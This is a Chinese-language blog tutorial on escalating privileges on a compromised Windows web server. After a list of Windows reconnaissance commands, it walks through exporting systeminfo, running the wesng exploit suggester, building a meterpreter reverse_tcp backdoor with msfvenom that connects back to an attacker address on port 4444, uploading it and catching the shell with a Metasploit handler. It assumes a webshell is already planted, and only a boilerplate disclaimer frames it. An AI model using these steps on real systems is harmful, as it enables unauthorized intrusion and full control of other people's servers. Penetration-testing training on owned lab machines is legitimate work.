权限提升：溢出漏洞.（普通权限提升管理员权限.）

news2024/11/24 14:27:25

权限提升：溢出漏洞

权限提升简称提权，由于操作系统都是多用户操作系统，用户之间都有权限控制，比如通过 Web 漏洞拿到的是 Web 进程的权限，往往 Web 服务都是以一个权限很低的账号启动的，因此通过 Webshell 进行一些操作会受到限制，这就需要将其提升为管理甚至是 System 权限。通常通过操作系统漏洞或操作系统的错误配置进行提权，也可以通过第三方软件服务，如数据库或 FTP 等软件的漏洞进行提权。

免责声明：

严禁利用本文章中所提到的技术进行非法攻击，否则后果自负，上传者不承担任何责任。

windows 常用命令：

systeminfo                    //打印系统信息
whoami                        //获得当前用户名
whoami /priv                  //当前帐户权限
ipconfig                      //网络配置信息
ipconfig /displaydns          //显示DNS缓存
route print                   //打印出路由表
arp -a                        //打印arp表
hostname                      //主机名
net user                      //列出用户
net user UserName             //关于用户的信息
net use \SMBPATH Pa$$wOrd /u:UserName       //连接SMB
net localgroup                //列出所有组
net localgroup GROUP          //关于指定组的信息
net view y127.0.0.1           //会话打开到当前计算机
net session                   //开放给其他机器
netsh firewall show config    //显示防火墙配置
DRIVERQUERY                   //列出安装的驱动
tasklist /svc                 //列出服务任务
net start                     //列出启动的服务
dir /s foo                    //在目录中搜索包含指定字符的项
sc query                      //列出所有服务
sc qc ServiceName             //找到指定服务的路径
shutdown /r /t 0              //立即重启
type file.txt                 //打印出内容
icacls “C:\Example"            //列出权限
wmic qfe get Caption,Description,HotFixlD,InstalledOn   //列出已安装的布丁

权限提升：溢出漏洞.

从 Web 环境中提权：

第一步：提权是我们已经有木马或其他的方法连接到web网站的目录了.（一般用一句话木马.）

第二步：进入终端打印系统信息保存到一个文件中.

systeminfo > systeminfo.txt

第三步：在目录中找到这个文件进行下载到我们的电脑上.（一般就在我们输入命令的那个目录上）

第四步：下载溢出漏洞的工具.（wesng-master）

GitHub - bitsadmin/wesng: Windows Exploit Suggester - Next Generation

第五步：解压好文件，把我们刚刚下载下来的系统信息文件放到 wesng-master 中.

第六步：打开命令行，切换到刚刚下载溢出漏洞的工具的目录下.（wesng-master）

第七步：执行溢出漏洞的查找.

python wes.py systeminfo.txt -o vuln1.csv

python :使用python
wes.py :是工具
systeminfo.txt    //是我们刚刚从服务器下载的文件
-o vuln1.csv      //是把这个结果保存到这个文件vuln1.csv中.

第八步：打开我们把漏洞保存的文件.（vuln1.csv）

第九步：直接在网上搜索漏洞编号进行利用.（建议使用 msf 进行提权）

第十步：生成一个后台程序（木马）

后台程序（木马）：https://tianyuk.blog.csdn.net/article/details/123541093

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.105 
lport=4444 -f exe > bgxg.exe

// lhost=kali的IP地址 
// lport=端口号（比如4444） 
// -f exe > 文件名.exe

第十一步：把刚刚生成的程序上传到要提权服务器上.

第十二步：直接在我们的服务器上安装 msf .（这里测试我就直接有 kali 中的 msf 了）（二个服务器要可以互通）

msfconsole            //打开 msf 命令

use exploit/multi/handler        //加载模块

set payload windows/meterpreter/reverse_tcp  
// payload 命令:(记得设置的 windows/meterpreter/reverse_tcp 要和程序的一样)   

set lhost 192.168.0.105
//设置本地监听 IP(就是 kali 的 IP)命令:(记得设置的 IP 要和程序的一样)

set LPORT 4444
//设置本地监听端口(就是 kali 的 端口)命令:(记得设置的 端口 要和程序的一样)

run                //执行命令